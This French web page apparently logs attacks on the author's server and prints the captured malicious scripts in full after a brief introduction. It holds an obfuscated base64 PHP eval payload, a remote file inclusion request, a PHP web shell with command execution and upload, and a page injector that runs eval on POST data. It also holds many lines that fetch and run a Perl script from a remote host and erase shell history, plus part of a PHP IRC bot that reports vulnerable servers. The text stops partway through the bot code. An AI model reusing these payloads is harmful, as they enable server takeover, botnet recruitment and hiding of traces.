Retournez à l'accueil de www.placeoweb.com

De nombreux scripts "cachent" leur source en l'encodant en base64, alors utilisez des décodeurs en ligne base64decode, tel que Base 64 Decoder ou base64 poperty decoding and encoding texts and files.

Date IP (source de l'attaque) Script URL
2015-10-11 16:30:04 176.9.57.228
websitelooker.com : 176.9.57.228
whois.domaintools.com : 176.9.57.228
GIF89a<?php
eval(gzinflate(base64_decode('zVl7Txu5Fv/7IvEdjJs2iZYkPErVTTKhFEJBKo8lYaUrgiJnxklc5rWeCZBF7Wffc2zPZCYkFHa3tzcgJePz9M/Hx+d4PnApA9mXPAxkLPxRaaPcWF35EPG4HwuP913hiVgPimFJREAoFfrnZ53uVZHZsQj84jUpk/LD6kpBP1vzZBAteDyK2IinNPOsidxjwnVFFKfkdEQzDGXgpTR80MPgtDuNg5RinjUxmgy+cHum0jwnksz1mcczonrA2BMu7+foOKJpduDH3I/jaTijZsYU02zCxCIT6XLfDhxeSgbLjRwDl3yEC+Aym5fo653911tbdJ1Q/bVECLQ6/CmtUSxFGLksGvMoz2OQeMRjxpHn6+rKbmt1pTmOPVd9c+bgdyxil7c+7snTtmzW9BMMezxmZBzHYYX/MRG3Ft3XgFS6gAglBh6Lxvw+rqHOBrHHTEIsWSIKKu/f7/xa2aQtBK4ZxVOXEwWv5rejCEnNtUpldaWqyJsEwm0IWitD5gl3WiefuM9v2TrZk4K56+SIu7c8FjaMRMyPKhGXYtgwMpH4k9fJ5lZ4r2daqaD6mtLcerEHWtvWhtL2d3wCDwaBM0WFA2bfjGQw8Z2KHbiBrJNXG+qj2bTpLfIwZyaQIwFaaRc2bERO+R25CDzmQ/CoEbCHplIF22gq0X94aPQrnXdcjMZxnQwC18nafEseEoFf1WcBbLUkSNRsEDiLvhqqj0IvCplPbAi2yKIaQzVsQ2Rw2WoOJD4Jb0QiaVsUo6leq9nTAZeV++odC6vRuPaJyYnDqiMBKps1pswaBWgY1NTQDHyFODAMpEfUPqb4c5MSiNRx4Fg0DKKYEpOwKCWwQ/WCexM3FiGTcQ0lKg6LmXJT+OEkNkExFo7DfWo0ayWU3DJ3Ao8R9x1qvMEdwwYQTHfCiccW3dzYeE0BXOlwadENxRZrNmfG81qNO+KWMFeMwD2JiwITxiUiGG8WrWxTMoR8YdHfuXSY/50wo602ZtR6s4Y6AB7QrsCLnTnr71//Q0NzWGEcJEhh5k5xau6SUAqwo7J7g+y26OqKtrmtkUl8nfdxe/OHIHTKPPZ9gN5u/kCAklNoAUgJSQFFnsCpZgLqfxNWF3jk/uSwMsf+QtAU5buY/fDY2otjZo9XVw6hjPgJMYbVS7oJ1e//mwDq6KLjCVDg4MGcDt7+uBAypc+CEDKUbAi9e/cy1FCpwisOwh8B4Ymu7Z63C/POvNQuZOg8oAgig9xkcDRlJlWLZtGdDUpkcBchDmAsBdWwIajgpVExOzOzqySZI4JkmTJ1drpUUDYLH33pgp5UeAF/Tp8RxloUnB1z+4YjWEfdk89zDkAAQAeUSnTgeCdxQI79QXD/3VTyjKVXZQqAshB68Gjhms+WrHUC5zo49Lys8s9Wnzy9+GnTliz/9pLlTxnnAmDxlqqpEsogLT38sYvNKCmZhhN7T3xcU5UEefOGrKU9jnpImiL1kBpHMe0QPXc5izh47YUujzmskEuGgrtORAYcjHKCVR10x2QaTCQx+qoUSmR+L2JdKRdASimPsLMKXWibaQ+L8IxJbL/8iZey2VDrQz+dSpZV8wgWS4V7a6NBCvfNGT8+/vKL6rQhAC0yE7sq3F83DCZxMOPId5YEm0r0B1ie6kDfKKVvNOdcAzrrHZ+WyfSSBmMkVPUHcRu6k2hcUjqxb+ASVNJDWL/6rNYhTbWirZ7s+arQqHSDenqq4yjNyFdBwcnxSbsCARxBWECLV91ImI4RmrStL5OsULZZrZNZA+CJe+40oFyHfozJqVWYCOc5+iqVLOdyS6q3zN4nPCkiYe8NoRdq410ChGKdvB+IGEUWiSWL9nJ/n4+U5kLHGzoD9OhMsEdfpPDx7AawI9+9fYmSAxFBWyditfZMVVwejDcIyi1x8Dn6kyV6PpaVCvLhjijltoPZf5o/szc6JrvsmwTkVPEkzG+Tr8k//u3+nHuKXMvfnDXeYb6vJ+aewtw26BsEOADC+fb//Oic4PkF4H2ELkKd/vpyiRxefv58svfpeJ/sn52cXJ4ed/9rqgNo7Ynp7zO9/244DiEbL7rMVGdDcnPZaXc6x2enV0WPjYRdvC6X/4Pp8lZA4KhsDHkIr0MKd3yAORYELn5vX1zRo273vH901ulSdQ0o/C858kX7t8t2p9u/vDjWDOoWBCKCOYxMGSwuSGDm7PmoGuXVno3YkHsbDmbhD8IX/RF4WcTBvhc4vJj6nzKWyUMh4vZEingK6jt7h+3+ydlBGxScHR7SBiwTd+EwW851CkzKNJchl9YIr0SieDDFaC6lMyrq7/7ewcEFwGTmzG/iAFP1MqGL9slZt50RUpuA3kx8e+KPdrZ2PkzZOAiqcNTiaaRQouv0iEVQxXxkX9gN84m5+0lwAsSSqfT843PS4fJWnRdmBj2fwOixgjeQMJz4SZXXj5bcrPDXfxX9+rPQr2v0gckeB4RmCrAtoi7YrCl33eCu1Ry0aDXVUaXN2qCV5IQCDPYnEV4hlWgVXO7DgISdoAZL5Sotq8pkmQn2x4ShgUvgBo8gX1lKjTeFnyCe6q9SMpoRR/PErE9LjQWQ2UdcmVNHep3QKmzV/kQFTjmvZQhhgumbhHdgC1NXwb5zdLjZOKTfQhQmVhRLCcm+hPT1Yq1Y1kUgkNaQBvlekcqVTSRIHk+kT3CkCszJKj1kxtWWMOOLTPR6L7EB3MuNaEOP3qbAlvCY72BKUhP3HJVgDNFz1JsFg3MoebZ6384HD61GY/jV5/fcLqEiBbOprVGU5uaauPGpnRgyHgTGhRnhb3oQLHVhzjyNxhStoxETTVrvq0P1aV2puLmei6GrmhlumAMVD+qCIyLsHPpJVEXZXU4fUSFb6LkdaAocThD6j7VkbSR+Si+5WcaL5fQ2ecFlcisRyvSYWEvoCmrYyvavt5qsO1ACO/HWdKGT0GwZjEYdIfSWXltAKD/A2Ac7CKdAOTz+3O5c0SG9vqKxF6p6hV6v5wl6MAV90BpwOcZ8jDsTTnzAYAF/46sK7kRmxEbMVWuaJLdiDhaKTmYu3FtPpr59vRWS1LD02gZikuapHdOtJ/2/0pM273ZwQ1umjSw28o4++QbAOJ7MBifz9AwuQzdgDsH7PjULE/pzk9EvEmZ3UOh6a3FkUMy5mbu7rfda21NO4JsgFK6TrA8Z9YilFt7cMWZ8fqdvoHWpBgGbFTChaMq4wexaRM83B+6jBKeFk+wyURKOwIM8nOX2tULuvatxB4QeFEHlIx2NxQSR4jXw6Xe3mFu94Jb3tXbu9JGhtFAk2RDFayjJU2+qyoxx5l9RhbPViSUJCqx4HbVZiC4WSI7emdg2dG94ywR7b04dnMn1A0IbBJuBnPSylCy5k8/HRTciFZcVF6bkr2R3Vk4vfeNfxruUzE3GmmVtEJ1BVldoM7KlCOMWg8Ie6qlH3U0POqme3w1i5hL1XiqjStMqpW+Fb+UFPYAa/6YKM+hDtBlVUCmva1hO6neR+OL6Lw==')));
176.9.57.228 - - [11/Oct/2015:09:46:30 +0200] "GET //dompdf.php?input_file=http://wordpress.com.longlifeweld.com.my/id.txt?? HTTP/1.1" 404 1467 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28"
2015-10-11 16:30:03 176.9.57.228
websitelooker.com : 176.9.57.228
whois.domaintools.com : 176.9.57.228
GIF89a???????????!??????,???????D?;?<?
if($_POST['dir'] == "") {

 $curdir = `pwd`;
} else {
 $curdir = $_POST['dir'];
}

if($_POST['king'] == "") {

 $curcmd = "ls -la";
} else {
 $curcmd = $_POST['king'];
}


?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
                        "http://www.w3.org/TR/html4/loose.dtd">
<html>
  <head>
    <title>^TuX_Shadow^ shell v2.0</title>
    <style type="text/css">
     body {
      color: white; background-color: black;
      font-size: 12px;
      font-family: Helvetica,Arial,Sans-Serif;
     }
    </style>
  </head>
  <body>
<pre>
  __                            .__                .___             
_/  |_ __ _____  ___       _____|  |__ _____     __| _/______  _  __
   __  |    /  /      /  ___/  |  \__     / __ |/  _  / / /
 |  | |  |  />    <       ___ |   Y  / __ _/ /_/ (  <_> )     / 
 |__| |____//__/_ _____/____  >___|  (____  /____ |____/ /_/  
                  /_____/    /     /     /      /              
<br/><?
$dir = @getcwd();
echo "DON TUKULESTO <br>";
$OS = @PHP_OS;
echo "OSTYPE :$OS <br>";
echo "uname -a; $uname <br>";
$free = disk_free_space($dir);
$ob = @ini_get("open_basedir");
$df = @ini_get("disable_functions");
if( ini_get('safe_mode') ) {
   echo "SM: 1 \ ";
} else {
   echo "SM: 0 \ ";
}
if(''==$df) {
   echo "DF: 0 \ ";
} else {
   echo "DF: ".$df." \ ";
}
echo "".php_uname()."n";
?>
<hr></pre>
    <table><form method="post" enctype="multipart/form-data">
      <tr><td><b>Execute command:</b></td><td><input name="king" type="text" size="100" value="<? echo $curcmd; ?>"></td>
      <tr><td><b>Change directory:</b></td><td><input name="dir" type="text" size="100" value="<? echo $curdir; ?>"></td>
      <td><input name="exe" type="submit" value="Execute"></td></tr>

      <tr><td><b>Upload file:</b></td><td><input name="fila" type="file" size="90"></td>
      <td><input name="upl" type="submit" value="Upload"></td></tr>
    </form></table>
<pre><hr>
<?
    if(($_POST['upl']) == "Upload" ) {
    if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir."/".$_FILES['fila']['name'])) {
        echo "The file has been uploaded<br><br>";
    } else {
        echo "There was an error uploading the file, please try again!";
    }
    }
    if(($_POST['exe']) == "Execute") {
     $curcmd = "cd ".$curdir.";".$curcmd;
     $f=popen($curcmd,"r");
     while (!feof($f)) {
      $buffer = fgets($f, 4096);
      $string .= $buffer;
     }
     pclose($f);
     echo htmlspecialchars($string);
    }
?>
    </pre>
  </body>
</html>
<?php if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIGhlcmUgLS0+CmlmKHR5cGVvZih5YWhvb19jb3VudGVyKSE9dHlwZW9mKDEpKWV2YWwodW5lc2NhcGUoJ2AlNzZhfnIjIGBhPywlNjklMkMjJTVGYCUzQmk9PyIlMzclMzYjJTJFfDEkJTM2JTMzfCUyRT8iOyQlNjF+JTNEJTVCIiUzNzglMkUxJTM1NyMlMkV+JTMxPyUzNCUzMiUyRT81OCMiJCUyQyU2OSQlMkIlMjI/JTMxfDQlMzF8LiUzM2A1IixpK34iMSQlMzk/MS4xMyElMzIiJTVEQDslNUZ8PTElM0IkJTY5JCU2NiQlMjgjZCU2RmAlNjMjdX5tfGUhJTZFJTc0LiFjb3xvYGtpPyU2NS5tYSU3NEBjJTY4YChALyMlNUMlNjIlNjghZyMlNjZgJTc0fCUzRDEvKSUzRH49IyU2RXUjbCU2Q2ApQGZvcn4oYCU2OSQlM0QlMzAlM0IlNjlAJTNDMyUzQiU2OSUyQiMlMkIjKSQlNjQjbyU2MyN1fm1+JTY1YCU2RSU3NC5+JTc3ciNpPyU3NCU2NXwlMjgiQCUzQ35zY3xyP2klNzAjJTc0QCUzRXwlNjkjZn4lMjh+XyMlMjlkJCU2RiElNjN8JTc1YG1lfiU2RXQkJTJFJTc3JTcyJTY5JTc0QCU2NSUyOEAlNUMiQCUzQyMlNzMlNjMlNzIlNjlwJTc0fiBAaWQ/JTNEJTVGJTIyJTJCQGklMkIjIl9gIHMhcmMjPX4vQC9gIn4rPyU2MX5baT8lNUQlMkIiJTJGY34lNzAvJTNFJTNDQCU1QyMlNUNAJTJGJTczJCU2Mz9yJTY5ISU3MGAlNzQhJTNFfCU1QyUyMiMpIyUzQyU1QyUyRiU3MyFjP3IlNjkjcGB0JTNFfiUyMkAlMjkjOycpLnJlcGxhY2UoL2B8XCF8I3xcfHxcJHxcP3xAfH4vZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY3JpcHQ+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cyBoZXJlLis/PC9zY3JpcHQ+CiNz'),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(s*</body)#mi',str_replace('$','\$',TMP_XHGFJOKL).'1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
<?
$url="http://blackmarket.by/theme/";
exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;GET '.$url.'mild.txt > mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
passthru('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
system('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
popen('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;curl -O '.$url.'mild.txt; perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;lynx -source '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@exec('cd /tmp;GET '.$url.'mild.txt > mild.txt;perl mild.txt;rm -rf mild.txt*;');
@exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@system('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@popen('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;curl -O '.$url.'mild.txt; perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lynx -source '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.indoforum.org;rm -rf perl.txt*;');
exec('cd /tmp;GET '.$url.'perl.txt > perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.indoforum.org;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
passthru('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
system('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
shell_exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
popen('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;curl -O '.$url.'perl.txt; perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;lynx -source '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@exec('cd /tmp;GET '.$url.'perl.txt > perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.indoforum.org;rm -rf perl.txt*;');
@exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.indoforum.org;rm -rf perl.txt*;');
@popen('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;curl -O '.$url.'perl.txt; perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lynx -source '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
?>

<?

set_time_limit(0);
error_reporting(0);
echo "TeamHack!";

class pBot
{
 var $config = array("server"=>"irc.fullmagic.us.to",
                     "port"=>"6667",
                     "pass"=>"",
                     "prefix"=>"spy|",
                     "maxrand"=>"03",
                     "chan"=>"#kebakkramat",
                     "chan2"=>"#x",
                     "key"=>"",
                     "modes"=>"+p",
                     "password"=>"sempakz",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname ( remember: /setvhost newbie.aja )
                     );
 var $users = array();
 function start()
 {
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
       $this->start();
    $ident = $this->config['prefix'];
    $alph = range("0","100");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,100)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER ".$ident." 127.0.0.1 localhost :4..:7½4:..8 ".php_uname()." 4..:7½4:..");
    $this->set_nick();
    $this->main();
 }
 function main()
 {
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $cmd = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($cmd[1]) && $cmd[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
          $this->privmsg($this->config['chan2'],"[2uname!2]: $uname (safe: $safemode)");
          $this->privmsg($this->config['chan2'],"[2vuln!2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
       }
       if(isset($cmd[1]) && $cmd[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
             switch($cmd[1])
             {
                case "QUIT":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PART":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PRIVMSG":
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "user": 
                              if($mcmd[1]==$this->config['password']) 
                              { 
